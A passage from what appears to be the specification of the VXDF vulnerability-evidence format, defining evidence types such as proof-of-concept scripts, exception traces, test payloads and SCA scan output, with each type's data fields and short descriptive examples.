    - Use when the exploit leads to a noticeable change in state or functionality that isn't simply reflected data or a direct command output.
    - Examples: an unauthorized administrative action occurring (user deletion, privilege change), unexpected file modifications, successful bypass of a business logic workflow (e.g., an order processed with zero value), or a visible defacement.
    - Clearly distinguish between the action taken by the tester/attacker and the resulting behavior of the system.
- **Purpose of `data` Object (`ObservedBehaviorData`):** To document the action performed, the expected secure behavior, and the actual observed behavior that indicates a security flaw.
- **Key `data` Object Fields Summary (`ObservedBehaviorData`):**
    - `actionPerformedToTrigger` (String, Mandatory): The action or sequence of actions performed by the tester/attacker that led to the observed behavior

    (e.g., "Submitted form with manipulated 'price' field", "Accessed admin endpoint '/deleteUser?id=123' without authorization").
  - expectedBehavior (String, Mandatory): What the application behavior should have been under normal, secure conditions in response to the action (e.g., "Form submission should be rejected due to invalid price", "Access to admin endpoint should be denied with a 403 Forbidden error").
  - observedBehavior (String, Mandatory): The actual behavior observed that indicates successful exploitation or a security weakness (e.g., "Order was processed with a price of $0.00", "User '123' was successfully deleted from the system", "Webpage content was replaced with attacker's message").
  - contextualNotes (String, Optional): Any relevant context or notes that help understand the significance of the behavioral change or how it was observed.

POC_SCRIPT

- **Display Name:** Proof-of-Concept Script
- **Definition:** Provides a script or a sequence of detailed steps that can be executed or followed to reproduce the validated exploit.
- **Usage Guidance:**
  - Use this when an automated script or a clear, step-by-step manual procedure is the best way to demonstrate exploitability and allow others (e.g., developers, other security testers) to reproduce the finding.
  - The script content itself should be included in scriptContent. If the script is exceptionally long or complex, provide a concise version focused on the core exploit mechanism and, if absolutely necessary, reference an external location for the full script (though self-contained evidence is strongly preferred for VXDF).
  - Ensure the script does not contain elements that could cause unintended harm if run incautiously by a reviewer; clearly state any prerequisites, setup instructions, or potential impact of running the script.
  - For non-executable, manual reproduction steps, scriptLanguage can be set to "text/plain" or "markdown".
- **Purpose of data Object (PocScriptData):** To provide the content of the PoC script or manual steps, along with necessary metadata for its execution or interpretation, facilitating reproducibility.
- **Key data Object Fields Summary (PocScriptData):**

    - `scriptLanguage` (String, Mandatory): The language of the script (e.g., "python", "bash", "powershell", "javascript", "ruby") or format of instructions (e.g., "text/plain" for numbered manual steps, "markdown" for richer formatted steps).
    - `scriptContent` (String, Mandatory): The actual content of the proof-of-concept script or the detailed step-by-step instructions for manual reproduction.
    - `scriptArguments` (Array of Strings, Optional): An array of arguments, parameters, or placeholders the script might require to run, or explanations for what the user should input at certain steps (e.g., `["<target_url>", "<username>", "<password>"]`).
    - `expectedOutcome` (String, Optional): A description of what should happen if the PoC script is executed successfully or the manual steps are followed correctly (e.g., "A file named '/tmp/vxdf_poc_success' will be created on the target server," "An alert box displaying the document's domain will appear in the browser," "The application will respond with sensitive data from user X.").

`RUNTIME_EXCEPTION_TRACE`

- **Display Name:** Runtime Exception Trace
- **Definition:** Evidence consisting of a stack trace or exception details generated by the application or system at runtime, typically as a result of an exploit attempt or when a vulnerability condition is met.
- **Usage Guidance:**
    - Use this when an exception directly indicates a security flaw (e.g., a SQL syntax error in response to an injection attempt, a null pointer dereference caused by malformed input, an unhandled exception revealing internal paths or variables).
    - It can also be supporting evidence showing that an input reached a certain point or caused an unexpected state, even if the exception itself isn't the final exploit.
    - Include the full stack trace if possible, or at least the most relevant parts.
- **Purpose of `data` Object (`ExceptionTraceData`):** To capture the details of a runtime exception, including its type, message, and call stack, which can be crucial for diagnosing and confirming vulnerabilities.
- **Key `data` Object Fields Summary (`ExceptionTraceData`):**

    - `exceptionClass` (String, Mandatory): The class or type name of the exception that was thrown (e.g., "java.sql.SQLSyntaxErrorException", "NullPointerException", "System.IO.PathTooLongException").
    - `exceptionMessage` (String, Optional): The message associated with the exception (e.g., "ORA-00904: invalid identifier", "Attempt to dereference a null object").
    - `stackTrace` (Array of Strings, Mandatory): An ordered array of strings, where each string represents a frame in the call stack at the time the exception occurred. The format of each frame string may vary by language/platform but should be as detailed as possible (e.g., "com.example.MyClass.myMethod(MyClass.java:42)").
    - `rootCause` (Object, Optional, `$ref: "#/$defs/ExceptionTraceData"`): A nested `ExceptionTraceData` object representing the underlying "cause" of this exception, if the exception handling framework provides this (common in Java).

`TEST_PAYLOAD_USED`

- **Display Name:** Test Payload Used
- **Definition:** The specific input string, data, or payload that was submitted to the application or system to trigger and validate the vulnerability.
- **Usage Guidance:**
    - Essential for reproducibility and understanding the exact vector.
    - Use this for any vulnerability where a crafted input is the means of exploitation (e.g., SQLi payloads, XSS vectors, command injection strings, fuzzing inputs that caused a crash, manipulated parameters for IDORs or business logic flaws).
    - Clearly indicate where or how this payload was delivered.
    - For binary or complex payloads, consider Base64 encoding and specify `payloadEncoding`.
- **Purpose of `data` Object (`TestPayloadData`):** To document the exact payload that successfully demonstrated the vulnerability.
- **Key `data` Object Fields Summary (`TestPayloadData`):**
    - `payloadContent` (String, Mandatory): The actual payload string or data.
    - `payloadDescription` (String, Optional): A brief description of the payload, its purpose, or how it was crafted.
    - `payloadEncoding` (String, Optional, Enum: "plaintext", "base64", "hex", "urlencoded", "utf16le"; Default: "plaintext"): The encoding of the `payloadContent`.

    - `targetParameterOrLocation` (String, Optional): A description of the specific parameter, HTTP header, input field, file, or other location where this payload was injected or applied (e.g., "HTTP GET parameter 'id'", "JSON body field 'user.name'", "File upload field 'avatar'").

`VULNERABLE_COMPONENT_SCAN_OUTPUT`

- **Display Name:** Vulnerable Component Scan Output
- **Definition:** Evidence from a Software Composition Analysis (SCA) tool, dependency checker, or vulnerability scanner that identifies a specific software component (library, framework, module, OS package) as having one or more known vulnerabilities (e.g., associated with a CVE).
- **Usage Guidance:**
    - This is often the initial piece of evidence for "Vulnerable and Outdated Components" findings.
    - It should clearly identify the component (name, version, PURL/CPE if possible) and the known vulnerability ID(s) (e.g., CVE, GHSA).
    - **Important for VXDF:** While SCA tools identify *known* vulnerabilities in components, VXDF's core purpose is to document *validated exploitability in the current application's context*. Therefore, this `evidenceType` is often a starting point. A complete `ExploitFlow` for a vulnerable component **SHOULD ideally include additional evidence** (e.g., `TEST_PAYLOAD_USED`, `HTTP_REQUEST_LOG`, `EXTERNAL_INTERACTION_PROOF`, `CODE_SNIPPET_SINK`) demonstrating that the component's vulnerability is *actually reachable and exploitable* through the application's code or configuration.
    - If this is the *only* evidence, the `ExploitFlow.description` and `ExploitFlow.exploitabilityAssessment` should clearly state the extent of validation performed (e.g., "Component confirmed present; exploitability of CVE-XYZ in this specific usage context not yet fully validated but deemed plausible due to direct usage of vulnerable function ABC.").
- **Purpose of `data` Object (`ScaOutputData`):** To provide structured information from an SCA tool or similar source, identifying a component and its associated known vulnerabilities.
- **Key `data` Object Fields Summary (`ScaOutputData`):**
    - `toolName` (String, Optional): Name of the SCA tool or dependency checker used (e.g., "OWASP Dependency-Check", "Snyk", "Trivy", "Dependabot").
    - `componentIdentifier` (Object, Mandatory): Structured information to identify the component:

        - `name` (String, Mandatory): Name of the component (e.g., "org.apache.logging.log4j:log4j-core", "lodash", "openssl").
        - `version` (String, Mandatory): The version of the component found in the application (e.g., "2.14.1", "4.17.19", "1.1.1k").
        - `purl` (String, Optional): Package URL (PURL) of the component. **Highly Recommended.**
        - `cpe` (String, Optional): Common Platform Enumeration (CPE) of the component.
    - `vulnerabilityIdentifiers` (Array of Objects, Mandatory): List of known vulnerability identifiers associated with this component version. Each object has:
        - `idSystem` (String, Mandatory, Enum: "CVE", "GHSA", "OSV", "NVD", "VENDOR_SPECIFIC", "OTHER"): The system/namespace of the ID.
        - `idValue` (String, Mandatory): The vulnerability ID itself (e.g., "CVE-2021-44228", "GHSA-jfh8-c2jp-5v3q").
    - `vulnerabilitySeverity` (String, Optional): The severity of the identified component vulnerability as reported by the scanner, NVD, or advisory (e.g., "CRITICAL", "HIGH"). This can be the original severity before contextual validation.
    - `details` (String, Optional): Additional details from the SCA tool, such as the path to the vulnerable library in the project, a link to the advisory, or specific notes about the finding.